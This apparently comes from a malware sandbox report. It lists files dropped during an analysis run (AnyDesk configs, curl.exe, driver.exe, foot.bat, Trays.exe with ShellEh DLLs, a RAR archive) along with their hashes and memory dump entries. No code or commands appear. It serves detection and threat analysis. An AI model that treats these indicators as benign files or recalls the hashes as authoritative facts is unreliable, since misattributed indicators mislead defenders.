MD5 SHA1 SHA512 TLSH

Submit Download

system.conf

Path C:\Users\Admin\AppData\Roaming\AnyDesk\system.conf
Size 468B
SHA256 da06b2dee42ba473376bcff7a7510c85ee4be465ca95994419b21a1208e912b1
MD5 fa4720f47935a35a417cf41c7a539d7b
SHA1 64a3f9c110685e83f0cab72998c27ef0b3bffec2
SHA512 4d9731ed380dcd64748bb3a3a103112169e21e8ca9c2b08c47501395411ee6db362c9cbe14aaea1f0e525462d1998d62cf02cd1b90ed6bee2f9b605a38374faa
TLSH
T103F0E503D81C6132D843F287E87425AD47F22950665B638C8944240BB7821B689CF3F5
MD5 SHA1 SHA512 TLSH

Submit Download

user.conf

Path C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Size 41B
SHA256 8a395011a6a877d3bdd53cc8688ef146160dab9d42140eb4a70716ad4293a440
MD5 a787c308bd30d6d844e711d7579be552
SHA1 473520be4ea56333d11a7a3ff339ddcadfe77791
SHA512 da4fcf3a3653ed02ee776cfa786f0e75b264131240a6a3e538c412e98c9af52c8f1e1179d68ed0dd44b13b261dc941319d182a16a4e4b03c087585b9a8286973
MD5 SHA1 SHA512

Submit Download

user.conf

Path C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Size 1KB
SHA256 6b9e8f1b45429fdfa1c492ae1a39ba4ea2dc64d9706d60e7fd81d0994317048a
MD5 1d1c7a949c6b9d9ce47c073cb62c2669
SHA1 49161256dccebb15e5b8311b0d4176025ab82b20
SHA512 ff2c27d55925a408766617c324aa4b887460bf47a5822dc2ccd4f1886d4cf3d1764f99f04ef5eba353ca31b5f003077028660058e5a9b16e0215f981b31ff302
TLSH
T1BD11B521AEB009CE63F8025F3D354958F5AF7442361E504C8BA818910137F306E6A40C
MD5 SHA1 SHA512 TLSH

Submit Download

user.conf

Path C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Size 1KB
SHA256 cc7836cee0ee365937b5e9dab8e0c17d27b269d8e097bce11e07cf3d825fdab9
MD5 1047c846c3e36fc115ef0b92cd23f3e8
SHA1 581f9228a7d47820c628a91a1aa39cde038e2312
SHA512 8405ed6c037f4eb5b65a66745af1ac4b60009fc4c2c85e209241a7c849e08fab9a25e4ea4faae87306996ff2ff6fbabc45e87925d83aa31fb141b253ce705c21
TLSH
T17221747C5AC0348D6FF51323682048947F762911B3F77CC94B3039941663696DFAE18C
MD5 SHA1 SHA512 TLSH

Submit Download

user.conf

Path C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Size 2KB
SHA256 beef1e299d0f227d596cd1304667dbb8e943c1f7eca76cf7db6f3d2fbd3cb21e
MD5 9f443dd37839c01dfd80bc28686d835e
SHA1 94d0e7c3eb5789f208964f647fd917c076b2f72f
SHA512 7cb2ff5cebf7f037868efa34ee3d23166ccd450bd8644c894364d00cdecf809b92b99677cefb7bd00dcb9d716bf46f20babc5b0ff8fddf3fe3eb1463ab1dcfaf
TLSH
T1145143BC5AC42689DBD12393D7193C5037A6D652B1E728CD4B3234838EA1EC79D95788
MD5 SHA1 SHA512 TLSH

Submit Download

user.conf

Path C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Size 7KB
SHA256 9e4df87068632f1b5d531be6664daba2fe1a29b2888a40ae735edb005b3c7412
MD5 fc3f8f1863479ea52bd7b00b164c9fb9
SHA1 e71c2444b51e22344445ea0e2ad3122550737b6c
SHA512 df2e7ce4e9bfc987501232702dbac7f798090998dfa1807089c5cdaab27ce3359a2da00c200b1b0242b5cd2360bb027af1fedb53a38ea303135c045348eb9c74
SSDEEP 192:kc84wSSxRjlSUhUtEj4gqkn3N3H4xyj8xWS4:cFlXkgPndIxRsb
TLSH
T164E14A78678866C99BE21397D7293D5437A6D6A275E718CC433272834C63EC3CE93B08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

user.conf

Path C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Size 6KB
SHA256 3c7fd17557f6652c1f8ecb6ad7fb52fddb054357acbeccbe357863805395e8df
MD5 6356b0a79e0af56075304c47a097794e
SHA1 876b7b8a1cb61080a43d4764f7fb7ff1be398d10
SHA512 4456cf5a7ca46e2f95beac57a8d0868556af85096a5863b4db8ef56e6d1172edaf8f3d1116c817fe638cd2eeedbc6c23342d9aa60ce015521d9ce71cfe78da37
SSDEEP 192:kc84wSSxRjlSUhUtEj4gqkn3N3H4xyj8xWZ4:cFlXkgPndIxRs+
TLSH
T1AAD16C78A64475CE1FF30367E6311898366555E2BA9B1CCD473477830C73A87CE67A48
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AnyDesk.exe

Path C:\joke\AnyDesk.exe
Size 4.8MB
SHA256 1a70f4eef11fbecb721b9bab1c9ff43a8c4cd7b2cafef08c033c77070c6fe069
MD5 ecae8b9c820ce255108f6050c26c37a1
SHA1 42333349841ddcec2b5c073abc0cae651bb03e5f
SHA512 9dc317682d4a89351e876b47f57e7fd26176f054b7322433c2c02dd074aabf8bfb19e6d1137a4b3ee6cd3463eaf8c0de124385928c561bdfe38440f336035ed4
SSDEEP 49152:meqV5ZTNR7GCogeeQO+f2roC8b9vIT2jDKW4q8TrdzRplNOBLE7Rm1ebw4Tf/Eex:cX1T7bL0KrCqKDV4Jnd1ZOQ7R3rr/f6K
TLSH
T10A3633816787DBBAC8331131E6A1C1EC95F24F8E213A62CDB6209E479FD7327994D81D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ERI_URL_Scan_5436.pdf

Path C:\joke\ERI_URL_Scan_5436.pdf
Size 490KB
SHA256 5d0366c13a22f92c939c3992947802167a2f4ebfe9043ee1aebb51d05022bb5b
MD5 a6481a613c0ca8260583dfa7548e92e4
SHA1 c682cd9f521eda490454eb0b31b5601f1e14a39f
SHA512 0e6f0b231020a3f3636cb82123a9adb8dc9e5e15c562653bce91733760a6f15977711c57dd7e37c18fd527b0c0f169d8a986dab12a1e231b76834864794fe4b4
SSDEEP 12288:pphgE1opevve3X7UL2xvnHI/NvTBCpC6V:1gE1m6vCLUWvHIlvdh6V
TLSH
T17BB40213CC569993E86E83F87E075DBC7A6E3B0CD9543AAB15221F9739D82530C9843E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4t-min64.exe

Path C:\joke\Trays\4t-min64.exe
Size 269KB
SHA256 d7af4e205e963b0c17330b7559cd7aa7bfabee7e0f5f8a3f815cc2bb5f659201
MD5 7bc3aeedc18717d796f1c7ff8dbf0c17
SHA1 94f5ab71d7ebdcf339c33820d1aad0db5b6998bf
SHA512 f6a2e99de788c6869dc7aa6cb24a4d8bd72f1d9145cc2194caad9bf2242a88a69e73fc05f2d826956fe3e553b368c33295e16bf4cca3723a6491c51d8aac196d
SSDEEP 3072:GFhscoM/x/zeyFb2GP3zYkkisbL57SUp5Er/h36gMqE1Kwx57fjHGiRObXeHtOp8:Qhxz7Fbf3zYkkisbL9WDc4AyOHWy
TLSH
T1BA44C8772195D2ACD06BC1706ACADAF3626278344636620677C1231FA7B6C615FAC3CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ShellEh6055.dll

Path C:\joke\Trays\ShellEh6055.dll
Size 55KB
SHA256 7061169b0c1eb3f0fb0ec9a2f82f9fec8d813770eddfa9da059830619b431292
MD5 0eb9f7fb524730f1b65cd926a55cbd70
SHA1 4b6f96b4bc06303538f83afa060e1aa0bdb3f7a9
SHA512 515d665c30e5545d303d8a78b914ca34f126b34209314d59a16f37d41ec84bbc4909781f9a53e4548399ad89b0cc5cb4e28b6ce5536b5a6ecaa0f71f95171e83
SSDEEP 768:9258dMWwcuT9pU9TJ95v5xosGx/2H3llWQsmb8J/1Xc58JIyj4NtZ+QWdR8x:cwvHBxKKJ3ALMII7L+QWd2x
TLSH
T1EB436D03E1D0C874E5F28DFC6C25A215FA7FBD201C66921ABB950A8DAD7D3819C1839F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ShellEh6055x64.dll

Path C:\joke\Trays\ShellEh6055x64.dll
Size 114KB
SHA256 9d91aac2ec8a1526732a6d4af9d5a83c5fcfb3b978a95678f486d71bdf26ad12
MD5 395290bd5eb8be9685394305caca3adf
SHA1 85b9ea9bade9658a949c1b95467a19a6e0968bd3
SHA512 2982b9ec2ca7faa5263d9881b0fa36e1d898441b0eb96fb04239fed782044d6d03419989c0fb6117ce9c4066945dd9c6448b9a1637e228c7e3a440fdcab8909a
SSDEEP 3072:jz88+cEaxHiFnUVl7BhPTrJ1gQXbL8caj+GdhfMkHqlOqugdo:j483BtfQQXbL8caj+gkMngdo
TLSH
T11EB3F9BB5491C6BCC09FC1705ACAE5B35731BC24C6B6A24576C633072BB6D901EED28B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Trays.exe

Path C:\joke\Trays\Trays.exe
Size 1.9MB
SHA256 344de5b82b337e49c0f30748e0bc74afc1ebcf90df4bd0eed5298b5cd57282d9
MD5 90d208b856dea18596d57ffb1dd3a867
SHA1 7ee41eeadf39a001b6149738b874d998911055ef
SHA512 adecdd534f3a7ea3b409186fc60385efc7c04bd12eddd8ee6d50e9ff87afc79a84b94640b325938e8920762e30c059b92117c0d12b5c1f4dad8dec60e61438c1
SSDEEP 49152:hpIEX9g68K7LjloCbCqommOGV7t398lBvX:hh8ULjloAhm3V7wX
TLSH
T1B2953A21F6908C37E5773936DC9346D86938BB802E146D4B2AAC7E0CEF79BC13D16295
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default.mo

Path C:\joke\Trays\locale\ru\LC_MESSAGES\default.mo
Size 35KB
SHA256 0bda3afa67b8d4dde8769abc0bdc3db65b7607e3f4524618766f48026c7d23bd
MD5 bc2ec0d45fca6058421637813799a6aa
SHA1 0a894be9964f1cf885742d214456466453e49ba8
SHA512 c1462688b5ab56b397808ee124cd3057994beebc49ebb815659cd995fa60ca26e5968edb6cab912944a1bfc895f05ee40f7eb048fa6004204eca420e7e1bff87
SSDEEP 768:T0ZZdTK6uTp/d01snfhapyU9msUf0+mdDVTjMdsB/Sl5+kttuVVP:T0s/K1ohgUSdDb/qG
TLSH
T1B5F27600669A21BDC201F17BDD49BB1D7E66C1FE7B6E930618641CBE35F2039C67D24A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

curl.exe

Path C:\joke\curl.exe
Size 1.7MB
SHA256 78dbe1fbbc7e5f51fa385be08bb679251e46b43be690fbc49c412d9d4f647a10
MD5 9542f4ac0caefa766bd67ba879ed2dd4
SHA1 ef93bf4c28fe70a90ae42e64a55900a6cb756eec
SHA512 26be5184c394c5feab422d3afbf83e469dfb19da5f45b70642acace742a74dbb8e569a2fee727d244c7cf220cb8d84dbfedba842d0c4f84927746228fdbf68d0
SSDEEP 24576:goyH7YomxViffSzoGX0HHdzj2YFvbKRAIM8SUnEtkUdHZZf6zCpSwxoqK9n5Ihq/:Bh76f1FxoQ0SOyFTbTxRPJm9YM
TLSH
T1B0855923FEC164B2EEC95074A8B56EF74E746B540396C2D3DF421CE44C649E1A33A2E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

driver.exe

Path C:\joke\driver.exe
Size 293KB
SHA256 bb243113d236f823abd1839025190e763fe34c40da4949b77558995cc1a07625
MD5 29086d9247fdf40452563c11b3dca394
SHA1 33b264f85caa86fcd81e5fd75e654a9a1a4c26c8
SHA512 3dc8e3e61fb1f2d98f7482eab464cb0c356f5616cc3d3bc74932e39f47d632a4ddc307222b6b219fae36a0bca04d0cb09c8daff00c15c22c5f1811db479086ae
SSDEEP 6144:IrughCeBm7vbQlCwPakaBstCRvIX6kth2mbh7:IrlfQ7CsBkCRvI
TLSH
T13E549E69F682C27BD0900230595EAB32F07EAB3533752987B3D49DA96DF0381F90569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

foot.bat

Path C:\joke\foot.bat
Size 802B
SHA256 0dbc34b126e4c3040111d31552677d6a48a45ec83cca994df95dceed7a194940
MD5 bc385b4dc2a3723a343e373cddc6f5f3
SHA1 583454232c54548fcb9affd58ce389f83d4af752
SHA512 e502a55d1f0e7b06f0418fd8513d1ebb970420ac9b6069d9095c36d6d301204204dec11dca45c8a7075671601230c27fe692e07c28d575c54cb7737867460bda
TLSH
T1E001E1ABEA4E5970C92193AA740A460729295C4C40EAB08069E4D22F834BE4E9376DB7
MD5 SHA1 SHA512 TLSH

Submit Download

v-Tune1.rar

Path C:\joke\v-Tune1.rar
Size 6.6MB
SHA256 d58a4450a4e9b5d491b0eaedbbf38b628624fe8dc26d3ec289bacc944606a770
MD5 996ebaad993dd7e3b7f85e7de5ae28d6
SHA1 bcdc3cac850602b1d61deede1574d93bc333b8d0
SHA512 e18a9d6b1eb4442aea4715d3ac72b8e75697bbe61c42f4d063cff245517fcd57c33c5a6930c9c399d2c5bec92ef72890f91d3e2f9c5cab0c3d7b60ded384cb09
SSDEEP 196608:fZGe/FnfJ50dq3OIZmIQ7PJJe5wYIzdw85RzYtDH:fZGe/pJ5cq+IZDQ7xJeqYIrgj
TLSH
T14B663343E958A7156610A8252A4EA3FC1F708841D79A7DCE476F35CF9E80B44EBB4B33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2532-513-0x0000000003680000-0x0000000003693000-memory.dmp

Download

memory/2532-557-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/2532-558-0x0000000003680000-0x0000000003693000-memory.dmp

Download

memory/2532-508-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/2532-712-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/2540-376-0x00000000008D0000-0x0000000001D7F000-memory.dmp

Download

memory/2540-403-0x0000000005E10000-0x0000000005E2B000-memory.dmp

Download

memory/2540-402-0x0000000005E10000-0x0000000005E2B000-memory.dmp

Download

memory/2540-430-0x00000000008D0000-0x0000000001D7F000-memory.dmp

Download

memory/2540-431-0x0000000000400000-0x0000000000413000-memory.dmp

Download

memory/2540-399-0x0000000005E10000-0x0000000005E2B000-memory.dmp

Download

memory/3156-445-0x0000000000400000-0x0000000000449000-memory.dmp

Download

memory/3156-446-0x0000000010000000-0x0000000010024000-memory.dmp

Download

memory/3336-730-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/3336-461-0x0000000004340000-0x000000000435B000-memory.dmp

Download

memory/3336-465-0x0000000004340000-0x000000000435B000-memory.dmp

Download

memory/3336-464-0x0000000004340000-0x000000000435B000-memory.dmp

Download

memory/3336-709-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/3336-586-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/3336-442-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/3336-807-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/3336-554-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/3712-582-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3712-806-0x0000000005560000-0x0000000005573000-memory.dmp

Download

memory/3712-837-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3712-553-0x0000000005560000-0x0000000005573000-memory.dmp

Download

memory/3712-805-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3712-360-0x0000000005560000-0x0000000005573000-memory.dmp

Download

memory/3712-552-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3712-777-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3712-435-0x0000000005560000-0x0000000005573000-memory.dmp

Download

memory/3712-741-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3712-434-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3712-728-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3712-707-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3712-766-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/3836-796-0x0000000000A80000-0x0000000000A93000-memory.dmp

Download

memory/3836-789-0x0000000000A80000-0x0000000000A93000-memory.dmp

Download

memory/3836-795-0x0000000000400000-0x000000000045B000-memory.dmp

Download

memory/4364-801-0x0000000002400000-0x0000000002413000-memory.dmp

Download

memory/4364-804-0x0000000002400000-0x0000000002413000-memory.dmp

Download

memory/4364-803-0x0000000000400000-0x0000000000611000-memory.dmp

Download

memory/4468-518-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/4468-714-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/4468-559-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/4468-560-0x0000000000400000-0x0000000000413000-memory.dmp

Download

memory/4696-433-0x0000000000400000-0x0000000000413000-memory.dmp

Download

memory/4696-432-0x00000000008D0000-0x0000000001D7F000-memory.dmp

Download

memory/4696-374-0x00000000008D0000-0x0000000001D7F000-memory.dmp

Download

memory/5044-800-0x00000000007A0000-0x00000000007B3000-memory.dmp

Download

memory/5044-799-0x00000000007A0000-0x00000000007B3000-memory.dmp

Download

memory/5576-322-0x0000000000400000-0x000000000045B000-memory.dmp

Download

memory/5616-787-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/5616-788-0x0000000000400000-0x0000000000413000-memory.dmp

Download

memory/5616-782-0x0000000000590000-0x0000000001A3F000-memory.dmp

Download

memory/5672-510-0x00000000008D0000-0x0000000001D7F000-memory.dmp

Download

memory/5672-443-0x00000000008D0000-0x0000000001D7F000-memory.dmp

Download

memory/5672-517-0x0000000000400000-0x0000000000413000-memory.dmp

Download

memory/5672-444-0x0000000000400000-0x0000000000413000-memory.dmp

Download

memory/5672-367-0x00000000008D0000-0x0000000001D7F000-memory.dmp

Download